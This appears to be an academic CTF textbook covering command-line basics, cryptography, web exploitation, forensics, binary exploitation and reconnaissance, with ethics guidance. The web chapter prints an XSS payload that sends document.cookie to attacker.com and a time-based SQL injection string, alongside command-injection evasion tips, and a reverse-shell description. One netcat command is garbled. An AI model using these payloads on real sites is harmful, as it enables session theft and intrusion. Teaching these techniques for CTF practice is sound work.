The Comprehensive Guide to CTF Competitions

Academic Edition - Version 2.5
Author: Yau Ka Cheung
Date: February 10, 2026

Preface

In the rapidly evolving landscape of cybersecurity, theoretical knowledge is often insufficient. This guide is designed to bridge the gap between academic theory and practical application. By following the "Theory to Lab" methodology, students will not only understand the *how* but the *why* behind modern attack and defense vectors.

This textbook serves as the primary curriculum for the **Cyber Hacking Mastery Course**, culminating in the **IoT Red vs Blue Capstone Project**.

Table of Contents

Chapter 1: Introduction to CTFs & Ethics

Core Concepts & Definitions

Capture The Flag (CTF) competitions are cybersecurity exercises where participants solve challenges to find a "flag" (a secret string). They mimic real-world security scenarios in a safe, gamified environment.

CTF Formats

1. **Jeopardy:** Challenges are categorized (Web, Crypto, Pwn, etc.) with increasing point values. Solved independently.
2. **Attack-Defense:** Each team has a server to defend while attacking others. Focuses on patching and real-time response.

Key Terminology:

- **Flag:** The target string (e.g., CTF{w3lc0m3_h4ck3r}).
- **Shell:** A command-line interface to interact with an OS.
- **Root/Admin:** The superuser account with full system privileges.

- **Exploit:** Code or technique that takes advantage of a vulnerability.

Level 1: Fundamentals

Goal: Understand the environment and navigate the command line.

1.1 The Command Line Interface (CLI)

Hacking is rarely done with a mouse. You must master the keyboard.

Essential Navigation:

- pwd (Print Working Directory): "Where am I?"
- ls -la: "What files are here?" (Includes hidden files starting with .).
- cd ..: Go up one directory.
- cat [file]: Display file content.

Powerful CLI Concepts:

- **Redirection (>, >>):**
    - echo "hello" > file.txt (Overwrite/Create).
    - echo "world" >> file.txt (Append).
- **Piping (|):** Send the output of one command as input to another.
    - cat access.log | grep "admin" (Search for 'admin' inside the log).

1.2 Ethics: The Golden Rules

1. **Ownership:** Do not hack what you do not own.
2. **Permission:** Written consent is mandatory for testing others' systems.
3. **Privacy:** Respect the data you encounter.

Practice 1.1: The Hidden File

Scenario: You have a folder challenge.

1. Open your terminal.
2. Navigate to the folder: cd challenge
3. List hidden: ls -la -> You see .flag.txt.
4. Read it: cat .flag.txt.

Level 2: Intermediate

Goal: Set up a hacking lab and connect to remote systems.

2.1 Virtualization

Never hack from your host OS. Use a **Virtual Machine (VM)** like Kali Linux.

- **Snapshotting:** Save the state of your VM before doing something dangerous. If you break it, just revert to the snapshot.

2.2 Remote Access (SSH)

Secure Shell (SSH) is the standard for encrypted remote login.

- **Syntax:** ssh user@ip_address
- **Pro Tip (Troubleshooting):**
  - If you get a "Host Key Verification Failed" error, it means the server's fingerprint changed. Use ssh-keygen -R [IP] to clear the old key.
  - Use -v for verbose output to debug connection issues.

Level 3: Advanced

Goal: Automate tasks and understand the legal nuances.

3.1 Scripting Basics

- **Variables in Bash:** NAME="Hacker"; echo $NAME
- **Conditionals:**

```
if [ -f "flag.txt" ]; then
  echo "Flag found!"
fi
```

3.2 Advanced Ethics: Disclosure

Bug Bounty Programs: Platforms like HackerOne or Bugcrowd provide a legal framework for reporting vulnerabilities in exchange for rewards. Always stick to the **Scope** defined in the program.

Chapter 2: Cryptography

Core Concepts & Definitions

Cryptography is the science of secure communication. In CTFs, you are often the *cryptanalyst*, trying to break the code.

Key Terminology:

- **Plaintext:** The original message.
- **Ciphertext:** The scrambled message.
- **Encoding:** Changing data format (e.g., Base64). No key needed. **Encoding is NOT encryption.**
- **Hashing:** A one-way "fingerprint" of data.

Level 1: Fundamentals

1.1 Symmetric vs Asymmetric

- **Symmetric:** One key to rule them all. The same key is used for both encryption and decryption (e.g., AES, Caesar).

- **Asymmetric:** The Power of Pairs. Uses a Public key (to encrypt) and a Private key (to decrypt). (e.g., RSA).

1.2 Historical Ciphers

- **Caesar Cipher:** Shifts every letter by $N$.
- **ROT13:** A specific Caesar shift of 13.
- **Atbash:** A simple substitution cipher that reverses the alphabet.

1.3 Tools of the Trade

- **CyberChef:** The "Cyber Swiss Army Knife." Use it to chain encoding/decoding operations (e.g., "From Base64" -> "To Hex" -> "XOR").

Level 2: Intermediate

2.1 The Magic of XOR ($\oplus$)

- **Property:** A ^ B = C and C ^ B = A. This makes XOR its own inverse.
- **CTF Tip:** If you have the original file (plaintext) and the encrypted version, XORing them together reveals the **Key**.

2.2 Modern Symmetric: AES

Advanced Encryption Standard (AES).

- **Modes:**
    - **ECB (Electronic Codebook):** Weak. Each block is encrypted independently.
    - **CBC (Cipher Block Chaining):** Stronger. Each block is XORed with the previous ciphertext block.

Level 3: Advanced

3.1 RSA & Prime Factoring

RSA security relies on the difficulty of factoring large numbers into primes.

- **FactDB:** A public database of known prime factors.
- **RsaCtfTool:** An automated tool that tries dozens of known RSA attacks.

3.2 Hashing & Salts

Hashes (MD5, SHA256) are one-way. You can't "decrypt" them, you can only "crack" them by guessing.

- **Rainbow Tables:** Pre-computed tables of hashes.
- **Salts/Nonces:** Random data added to the password before hashing to resist rainbow table attacks.

Chapter 3: Web Exploitation

Core Concepts & Definitions

Web Exploitation involves finding and leveraging vulnerabilities in web applications to access unauthorized data or functionality.

Key Terminology:

- **Request/Response:** The standard "conversation" between Client (Browser) and Server.
- **Injection:** Inserting malicious data that the system interprets as commands.
- **Fuzzing:** Providing massive amounts of random data to find bugs.

Level 1: Fundamentals

1.1 Developer Tools & Source

- **Storage Tab:** View Session Cookies and LocalStorage.
- **Network Tab:** Watch the traffic. See POS/GET data in real-time.

1.2 Directory Brute Forcing (Fuzzing)

Websites often have "hidden" pages (e.g., /admin, /backup, /.git).

- **Tools:** gobuster, dirsearch, ffuf.
- **Status Codes:** 200 OK (Found), 403 Forbidden (Exists but blocked), 404 Not Found.

Level 2: Intermediate

2.1 Cross-Site Scripting (XSS)

- **Payload:** <script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>
- **Impact:** Theft of session cookies leading to Account Takeover.

2.2 IDOR (Insecure Direct Object Reference)

- **Concept:** Accessing resources belonging to other users by changing a numerical ID in the URL (e.g., id=125 -> id=1).

Level 3: Advanced

3.1 Blind SQL Injection (Time-Based)

Used when the server doesn't return data directly.

- **Payload:** id=1; IF (1=1) WAITFOR DELAY '0:0:5'--

3.2 Command Injection (RCE)

- **Evasion:** Blocked ;? Use && or |. Blocked cat? Use tail or base64.

Chapter 4: Forensics

Core Concepts & Definitions

Digital Forensics is the investigation and recovery of digital material.

Key Terminology:

- **Header (Magic Bytes):** The unique signature at the start of a file (e.g., 89 50 4E 47 for PNG).
- **Steganography:** Hiding a secret inside another file.
- **LSB (Least Significant Bit):** Modifying the last bit of a pixel's color to hide data.

Level 1: Fundamentals

1.1 The file Command

Never trust a file extension. Use file [filename] to check the actual file type via magic bytes.

1.2 Text Extraction

- **Strings command:** strings [filename] extracts ASCII text.
- **Pro Tip:** Use -n 10 to reduce noise.

Level 2: Intermediate

2.1 Binwalk & Foremost

- **Binwalk:** Find and extract embedded files (binwalk -e).
- **Foremost:** Carves files based on headers and footers.

2.2 LSB Steganography

- **Tools:** StegSolve, zsteg. Hides data in the noise of an image.

Level 3: Advanced

3.1 Network Forensics (Wireshark)

Essential Filters: http, ip.addr == X.X.X.X, tcp.port == 4444, frame contains "CTF".

3.2 Memory Volatility

Tool: volatility. Analyzes RAM dumps to find processes, commands, and passwords.

Chapter 5: Reverse Engineering & Binary

Exploitation

Core Concepts & Definitions

Reverse Engineering (RevEng) is deconstructing software. **Binary Exploitation (Pwn)** is manipulating execution flow.

Key Terminology:

- **Machine Code:** The 0s and 1s the CPU executes.
- **Assembly (ASM):** Human-readable mnemonics (e.g., MOV, ADD).
- **Decompiler:** Translates binary back into C code.

Level 1: Fundamentals

1.1 CPU Registers 101 (x86)

- **EAX:** Accumulator (Return values).
- **ESP/EBP:** Stack/Base Pointers.
- **EIP:** Instruction Pointer (The Next Command).

1.2 Basic Logic Patching

Flipping an if statement by swapping JZ (74) and JNZ (75).

Level 2: Intermediate

2.1 The Stack Frame

Every function call creates a frame. Local variables live inside; return addresses live just above. Overwriting the buffer can overwrite the return address.

2.2 Advanced Ghidra

- **Cross References (XREFS):** See every place a variable or function is used.

Level 3: Advanced

3.1 Exploiting the Stack (Pwn)

1. **Find Offset**: Number of bytes to reach EIP.
2. **Control EIP**: Jump to an arbitrary address.
3. **Payload (Shellcode)**: Spawn /bin/sh.

3.2 GDB & Pwntools

- **GDB-Peda**: Enhanced debugger UI.
- **Pwntools**: Python library for building exploits.

Chapter 6: Networking & Reconnaissance

Core Concepts & Definitions

Networking is communication; **Reconnaissance** is intelligence gathering.

Key Terminology:

- **WHOIS:** Domain registration details.
- **DNS:** Mapping names to IPs.

Level 1: Fundamentals

1.1 Passive Recon & OSINT

- **Google Dorking**: Searching for exposed listings.
- **Shodan**: Search engine for IoT devices.

1.2 DNS Investigation

- **Dig & NSLookup**: Checking A, MX, and TXT records.

Level 2: Intermediate

2.1 Nmap (The Network Mapper)

- -sS: SYN Scan (Stealth).
- -sV: Version detection.
- -sC: Default scripts.
- -A: Aggressive (All-in-one).

Level 3: Advanced

3.1 Netcat File Transfers

- Receiver: nc -l -p 1234 > file.zip
- Sender: nc [IP] 1234 < file [IP] 1234 < file.zip

3.2 The Reverse Shell

- Spawns a shell that connects back to the attacker.
- **Upgrade**: Using pty.spawn in Python for an interactive terminal.

CTF Field Manual: Laboratory Exercises

01. Cryptography

- **Lab**: Multi-stage decoding.
- **Challenge**: Decode U0dWc2JHOGdWMm95YkdRPQ==.
- **Assessment**: Why is "Double Base64" not more secure?

🌐 02. Web Exploitation

- **Lab**: XSS cookie theft.
- **Checklist**: Parameter fuzzing for debug modes.
- **Assessment**: Does HTTPS prevent SQLi?

03. Forensics

- **Lab**: Hex-level image repair.
- **Checklist**: Changing Magic Bytes to fix "corrupt" files.

⚙ 04. RevEng & Pwn

- **Lab**: Local Buffer Overflow.
- **Checklist**: Calculating offset to overwrite the return address.

Glossary & References

- **CFAA**: Computer Fraud and Abuse Act (US).
- **CVE**: Common Vulnerabilities and Exposures.
- **OWASP**: Open Web Application Security Project.
- **RFC**: Request for Comments (Internet standards).

End of Textbook